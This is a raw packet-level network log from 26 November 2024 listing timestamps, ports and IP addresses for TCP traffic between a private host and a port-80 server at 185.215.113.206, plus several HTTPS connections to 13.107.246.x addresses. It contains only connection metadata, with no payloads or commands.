Nov 26, 2024 22:52:47.768213987 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.768266916 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.769126892 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.769238949 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.769361973 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.770195961 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.770207882 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.770241022 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.770267963 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.771395922 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.771409035 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.771440983 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.771460056 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.772023916 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.772202969 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.772263050 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.773006916 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.773122072 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.773192883 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.774007082 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.774065018 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.774121046 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.774171114 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.775083065 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.775135040 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.775199890 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.775275946 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.775969982 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.776026011 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.776108027 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.776165962 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.777014971 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.777075052 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.777142048 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.777234077 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.777965069 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.778016090 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.778073072 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.778136969 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.779041052 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.779087067 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.779171944 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.779341936 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.779931068 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.779989958 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.780076981 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.780138016 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.780891895 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.780945063 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.781033993 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.781084061 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.781938076 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.781949997 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.781960011 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.781963110 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.782012939 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.782012939 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.782030106 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.782063007 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.782063007 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.782087088 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.782881975 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.782938004 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.783020973 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.783063889 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.783885002 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.783945084 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.784023046 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.784097910 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.784909964 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.784923077 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.785058022 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.785856009 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.785912991 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.786007881 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.786051989 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.786860943 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.786873102 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.786911011 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.787965059 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.787976980 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.788005114 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.788028002 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.788849115 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.788894892 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.788916111 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.788954973 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.788985014 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.788990974 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.789019108 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.789030075 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.789042950 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.789556980 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.789977074 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.790025949 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.790138960 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.790186882 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.790875912 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.790888071 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.790916920 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.790931940 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.791860104 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.791872978 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.791912079 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.792872906 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.792885065 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.792924881 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.793863058 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.793874979 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.793920040 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.794897079 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.794909954 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.794934034 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.794959068 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.795661926 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.795686007 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.795730114 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.795736074 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.795763016 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.795779943 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.795849085 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.795861006 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.795898914 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.796838045 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.796849966 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.797375917 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.797842979 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.797894001 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.797966003 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.798012972 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.798844099 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.798856974 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.798894882 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.799746037 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.799793005 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.799949884 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.800051928 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.800743103 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.800789118 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.800954103 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.801001072 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.801721096 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.801809072 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.801841974 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.801843882 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.801875114 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.801882982 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.801913977 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.801927090 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.801929951 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.802007914 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.802745104 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.802810907 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.802934885 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.802994013 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.803821087 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.803833008 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.803877115 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.804677963 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.804909945 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.804980040 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.805665016 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.805733919 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.805913925 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.805972099 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.806704998 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.806749105 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.806914091 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.807001114 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.807594061 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.807607889 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.807650089 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.807665110 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.807665110 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.807672977 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.807689905 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.807699919 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.807701111 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.807738066 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.807769060 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.808105946 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.808115959 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.808617115 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.808670044 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.808718920 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.809294939 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.809593916 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.809639931 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.809686899 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.809756041 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.810601950 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.810662985 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.810691118 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.810997963 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.811594963 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.811640978 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.811656952 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.811774015 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.812571049 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.812627077 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.812663078 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.813258886 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.813554049 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.813602924 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.813663960 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.813781023 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.814548969 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.814609051 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.814677954 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.814995050 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.815573931 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.815684080 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.815716982 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.815917969 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.816539049 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.816586018 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.816703081 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.816765070 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.817533970 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.817595005 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.817635059 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.818190098 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.818536997 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.818584919 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.818591118 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.818721056 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.959635019 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.959702015 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.959724903 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.959847927 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.960289955 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.960303068 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.960354090 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.960374117 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.961208105 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.961244106 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.961369991 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.961420059 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.962490082 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.962526083 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.962651014 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.962748051 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.964180946 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.964193106 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.964219093 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.964250088 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.965130091 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.965240955 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.965265989 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.965398073 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.965675116 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.965688944 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.965709925 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.965734959 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.966098070 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.966238976 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.966239929 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.966274023 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.967272997 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.967329979 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.967335939 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.967371941 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.968178988 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.968229055 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.968250990 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.968285084 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.969014883 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.969052076 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.969105959 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.969150066 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.969980001 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.970027924 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.970101118 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.970236063 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.970973015 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.971144915 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.971180916 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.971999884 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.972054958 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.972064018 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.972094059 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.972937107 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.973042965 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.973094940 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.973933935 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.974082947 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.974157095 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.974934101 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.975012064 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.975087881 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.975178003 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.975939989 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.976069927 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.976296902 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.977029085 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.977138996 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.977199078 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.977977991 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.977989912 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.978035927 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.978918076 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.978998899 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.979074955 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.979212046 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.979902983 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.979954004 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.980038881 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.980914116 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.980998993 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.981008053 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.981008053 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.981065989 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:48.085113049 CET	443	49859	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:48.085177898 CET	443	49859	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:48.085227013 CET	49859	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:48.100111008 CET	49859	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:48.100152016 CET	443	49859	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:48.100256920 CET	49859	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:48.100265026 CET	443	49859	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:48.113034964 CET	49872	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:48.113075018 CET	443	49872	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:48.113152027 CET	49872	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:48.113743067 CET	49872	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:48.113759995 CET	443	49872	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:48.120141983 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:48.240151882 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:48.393472910 CET	49873	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:48.393510103 CET	443	49873	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:48.393585920 CET	49874	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:48.393627882 CET	49873	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:48.393645048 CET	443	49874	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:48.393693924 CET	49874	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:48.393981934 CET	49875	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:48.393990040 CET	443	49875	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:48.394051075 CET	49875	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:48.394222975 CET	49876	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:48.394263983 CET	443	49876	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:48.394340992 CET	49876	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:48.394427061 CET	49877	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:48.394463062 CET	443	49877	13.107.246.40	192.168.2.7
